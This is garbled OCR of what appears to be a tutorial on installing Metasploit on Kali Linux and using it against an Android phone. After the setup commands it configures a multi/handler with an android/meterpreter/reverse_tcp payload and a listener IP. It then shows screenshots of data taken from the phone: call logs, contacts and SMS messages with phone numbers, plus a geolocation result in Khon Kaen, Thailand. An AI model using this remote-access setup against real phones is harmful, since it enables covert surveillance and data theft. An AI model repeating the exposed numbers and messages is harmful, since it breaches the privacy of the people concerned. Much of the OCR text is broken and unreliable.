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64 Bit: wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
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apt-get update

apt-get upgrade
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apt-get install build-essential libreadline-dev libssl-dev libpg5 libpg-dev libreadlineb
libsqglite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql

pgadming curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3
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gem install wirble sqglite3 bundler
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apt-get install nmap
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5.119N1974 Metaploit FrameWork @10 Github A28IANE4

cd /opt

git clone https://github.com/rapid7/metasploit-framework.git

6.Create

global commands and install the gems

cd metasploit-framework



https://github.com/rapid7/metasploit-framework.git
https://github.com/rapid7/metasploit-framework.git

bash -c 'for MSF in $(Is msf*); do In -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done’

bundle install
6.MIPALSar iacaaas Dafahaca Al Matasalar—

Su postgres

createuser msf -P -S -R -D

createdb -O msf msf

exit

7.4514 Inanltlun1smaaAn tiaanu Database nano /opt/metasploit-framework/database.yml
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production:
adapter: postgresql
database: msf
username: msf
password:

host: 127.0.0.1

port: 5432

pool: 75

timeout: 5

8.Create an environmental variable

sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml

>> [etc/profilesource /etc/profile”

9.AAMI port scanning gem

gem install pcaprub
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use exploit/multiZhandler

Gk payload set payload android/meterpreter/reverse_tcp
10 LHOST TafBEun1g set LHOST 10.199.120.188(local ip or public ip)
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root@kali: ~

File Edit View Search Terminal Help

| Open v | [ calllog.dump-20151028224927 txt
Recent P -/
)
- calllog-dump_201
Do BpbKVZLm.wav calllog_dump_ g i
Deskiop 20151028224927.
txt
Documents
Downloads m Date: 2015-10-28 22:49:28 +0000
cCyanVqu.wav csQiYgyUjpeg 0S: Android 5.1.1 - Linux 3.10.61-5193722 (aarch6d)
Music Remote IP: 10.199.120.160
| W Remote Port: 40187
Pictures & D
#1
List Videos Desktop Documents Number : BBB7956769
IEL - Name null
Play : Trash @ i Date : Wed Oct 28 21:36:51 GMT+07:00 2015
Type : INCOMING
New Volume Downloads gMwMNMIK wav Duration: 6
116 GB Vol... #2
’ J Number : 88319653083
S3A9759D... MName T oukp Ict
ifzEvoHF.wav mRsvCDby. wav Date  : Wed Oct 28 21:22:40 GMT+87:00 2015
105 GB Volume - Type : INCOMING

“calllog_dump_20151028224927 txt" selected|Duration: 9

#3

Number : 0891890622

MName sl
: Wed Oct 28 18:48:59 GMT+07:00 2015
: QUTGOING

Duration: 1164
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Date: 2015-10-28 22:50:52 +0000

0S: Android 5.1.1 - Linux 3.10.61-5193722 (aarchid)
Remote IP: 10.199.120.160

Remote Port: 40187

#1
Name :fln
Number : uln

Number : 0834162077

#2

Name : MNet Pack
Number : Net Pack
Number : *9000

#3
Name DoYHict
Number @ yHict

Number : 0880773139

#4
Name : Usa
Number : Usa

Number : *BElZ

#5
Name : ﬁﬂu
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Date: 2015-10-28 22:51:40 +B00G0

0S: Android 5.1.1 - Linux 3.10.61-5193722 (aarchG4)
Remote IP: 10.189.120.160

Remote Port: 40187

#1
Type : Incoming
Date 1 2015-10-27 14:42:14

Address : 027777777
Status : NOT_RECEIVED
Message : new/Tawiu2,000u we x556072 thudTM 181617,076.64 u

#2
Type : Incoming
Date 1 2015-10-27 09:27:44

Address : TrueYou

Status : NOT_RECEIVED

Message : TrusYou mmgoifasudufiuetay filuuetevilgaluflednogoudugmuna Tnasldudrtuflmahttp://goe.gl/
ET7pl6

#3
Type : Incoming
Date 1 2015-10-27 (08:59:34

Address : Q27777777
Status : NOT_RECEIVED
Message : nawTewiu2,000u wa x556072 chuCDM 1E1419,076.64 u.
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"results” @ [
{
“address_components” : [
{
“long_name" : “Unnamed Road",
"short_name" : "Unnamed Road",
"types” : [ "route" |
1.
{
"long_name" : "Tambon Sila",
"short_name A, A",
“types” : [ "sublocality level 1", "sublocality®, "political” |
1
{
"long_name" : "Khon Kaen"
shart_name Kae
types” @ [ ", "political” ]
1.
{
*long_name” : "Amphoe Mueang Khon Kaen",
“short_name" : "&. daimanuin’,
“types” : [ "administrative area_level 2", “political® ]
1.
{
“long_name" : “"Chang Wat Khon Kaen",
"short_name" : "3, gauuiu’,
“types” : [ "administrative area_level 1", "political® ]
1.
{
"long_name" : "Thailand",
“shart_name “TH,
“types” ¢ [ "l
1
{
“long_name" : "40000",
"short_name" : "40000",
“types” : [ "postal_code” ]
1
formatted_address” : "Unnamed Road, Tambon Sila, Amphoe Mueang Khon Kaen, Chang Wat Khon Kaen 46000, Thailand",
“geometry” : {
“haunds® - {
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